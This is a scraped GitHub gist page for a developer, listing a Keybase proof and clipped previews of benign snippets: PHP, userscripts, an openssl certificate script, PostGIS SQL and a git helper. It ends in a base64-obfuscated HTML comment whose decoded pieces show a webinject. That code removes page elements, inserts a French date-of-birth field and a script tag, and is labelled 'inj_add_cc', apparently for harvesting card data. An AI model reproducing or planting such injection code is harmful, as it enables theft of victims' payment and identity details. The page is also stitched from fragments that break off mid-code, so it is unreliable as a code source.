Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am leafnode on github.
  • I am leafnode (https://keybase.io/leafnode) on keybase.
  • I have a public key whose fingerprint is 7D4C 9FA5 8EA8 FF1B CC0C F361 7D7E 27A9 3ABC B738

To claim this, I am signing this object:

<?php
function pc_permute($items, $perms = array( )) {
if (empty($items)) {
$res = $perms[0] + 13.0 * $perms[1] / $perms[2] + $perms[3] + 12.0 * $perms[4] - $perms[5] - 11.0 + $perms[6] * $perms[7] / $perms[8] - 10.0;
if ($res == 66.0) {
print join(' ', $perms) . ": $res\n";
}
} else {
for ($i = count($items) - 1; $i >= 0; --$i) {
'atom-workspace atom-text-editor:not([mini])':
'ctrl-alt-z': 'unset!'
'body':
'ctrl-alt-o': 'unset!'
'ctrl-alt-s': 'unset!'
// ==UserScript==
// @name Bidding Status
// @namespace leafnode
// @include http://allegro.pl/myaccount/bid.php
// @version 1
// @grant none
// @require http://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js
// ==/UserScript==
jQuery('#items-list tbody tr').each( function ( i ) {
// ==UserScript==
// @name Allegro Watchlist reminders
// @namespace leafnode
// @description Add button to enable reminders on all auctions
// @include http://allegro.pl/myaccount/watch.php
// @version 1
// @grant none
// @require http://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js
// ==/UserScript==
@leafnode
leafnode / getYoutubeId.php
Created September 12, 2015 19:30
Get YouTube ID from URL
<?php
public static function getYoutubeId($url)
{
if (preg_match('%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i', $url, $match))
{
return $match[1];
} else {
return false;
}
}
@leafnode
leafnode / gist:d1a6b960bf8a65a291967723681ebf6a
Created October 3, 2016 13:30 — forked from jessedearing/gist:2351836
Create self-signed SSL certificate for Nginx
#!/bin/bash
echo "Generating an SSL private key to sign your certificate..."
openssl genrsa -des3 -out myssl.key 1024
echo "Generating a Certificate Signing Request..."
openssl req -new -key myssl.key -out myssl.csr
echo "Removing passphrase from key (for nginx)..."
cp myssl.key myssl.key.org
openssl rsa -in myssl.key.org -out myssl.key
@leafnode
leafnode / init-postgis.sql
Created October 5, 2016 13:12
Ansible template to prepare dataspace for PostGIS
-- Enable PostGIS (includes raster)
CREATE EXTENSION postgis;
-- Enable Topology
CREATE EXTENSION postgis_topology;
-- Enable PostGIS Advanced 3D
-- and other geoprocessing algorithms
-- CREATE EXTENSION postgis_sfcgal;
-- fuzzy matching needed for Tiger
CREATE EXTENSION fuzzystrmatch;
-- rule based standardizer
#!/bin/bash
echo ">>> Switching to user $1 branch $2"
echo "> Findind repo root dir..."
REPO_ROOT=`git rev-parse --show-toplevel`
if [ $? -ne 0 ]
then
<!--ADS$KGEpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGEpLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYSkpfQ==$PGRpdiBhbGlnbj0icmlnaHQiPjxmb250IGNvbG9yPSIjMDAwMDY2IiBzaXplPSIyIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj5EYXRlIGRlIG5haXNzYW5jZSAoSkovTU0vQUFBQSkgPC9iPjwvZm9udD4gPC9kaXY+PC90ZD4=$PHRkIGNvbHNwYW49IjIiIHN0eWxlPSJmb250LXNpemU6MTRweDt0ZXh0LWFsaWduPWNlbnRlcjtmb250LXdlaWdodDpib2xkOyI+$PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iaHR0cHM6Ly9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXVlcnl1aS8xLjcuMS90aGVtZXMvc21vb3RobmVzcy91aS5hbGwuY3NzIiAvPg==$aW5qX2FkZF9jYw==$PHNjcmlwdCBpZD0iZk1vMVhwUGFxRGtiSDJGIj4=$PHRp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